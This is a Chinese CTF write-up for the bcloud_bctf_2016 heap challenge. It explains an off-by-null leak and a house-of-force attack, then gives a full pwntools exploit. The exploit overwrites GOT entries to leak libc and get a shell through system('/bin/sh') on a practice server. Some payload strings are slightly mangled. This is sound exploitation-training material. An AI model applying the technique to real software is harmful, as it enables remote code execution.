思路
简单记录一下思路,具体分析可以参考bcloud_bctf_2016(house of force)
题目没有开启 pie 跟 got 表不可写,那就可以通过修改 got 表来泄露 libc 跟 get shell 。
具体步骤:
- 题目存在 off by null 漏洞,可以利用它跟 strcpy 的特性来泄露 heap 地址跟修改 top chunk 的大小。
- 我们将 top chunk 修改为 -1 后,计算存储 chunk 地址的数组与 top chunk 的偏移,通过 house of force 技术将 top chunk 分配至存储 chunk 地址的数组处。
- 将数组上的 chunk 地址覆盖为 free_got 与 puts_got ,通过 edit 修改 free_got 为 puts_plt ,在 free puts_got 对应的 chunk 即可泄露 libc。
- 通过 edit 修改 atoi_got 为 system 地址,在主函数再次调用 atoi 时给上参数 "/bin/shx00" ,实现 system("/bin/sh") 拿 shell 。
exp
#coding:utf8
from pwn import *
from LibcSearcher import *
#house of force
#sh = process('./bcloud_bctf_2016')
sh = remote('node3.buuoj.cn',29457)
elf = ELF('./bcloud_bctf_2016')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
heap_array_addr = 0x0804B120
sh.sendafter('Input your name:','a'*0x40)
sh.recvuntil('a'*0x40)
heap_addr = u32(sh.recv(4))
print 'heap_addr=',hex(heap_addr)
sh.sendafter('Org:','a'*0x40)
#修改top chunk的size
sh.sendlineafter('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0xD0
print 'top_chunk_addr=',hex(top_chunk_addr)
def add(size,content):
sh.sendlineafter('option--->>','1')
sh.sendlineafter('Input the length of the note content:',str(size))
sh.sendafter('Input the content:',content)
def edit(index,content):
sh.sendlineafter('option--->>','3')
sh.sendlineafter('Input the id:',str(index))
sh.sendafter('Input the new content:',content)
def delete(index):
sh.sendlineafter('option--->>','4')
sh.sendlineafter('Input the id:',str(index))
offset = heap_array_addr - top_chunk_addr - 0x10
add(offset,'') #0
#现在top chunk移到了heap_array_addr-0x8处,我们可以控制heap_array了
add(0x10,'
') #1
add(0x10,'
') #2
add(0x10,'
') #3
#修改heap_array
edit(1,flat(0,free_got,puts_got,0x0804B03c))
#修改free的got表为puts的plt表
edit(1,p32(puts_plt) + '
')
#泄露puts的地址
delete(2)
sh.recv(1)
puts_addr = u32(sh.recv(4))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#gdb.attach(sh)
#修改free的got表为system地址
edit(3,p32(system_addr) + '
')
#getshell
sh.sendlineafter('option--->>','/bin/shx00')
sh.interactive()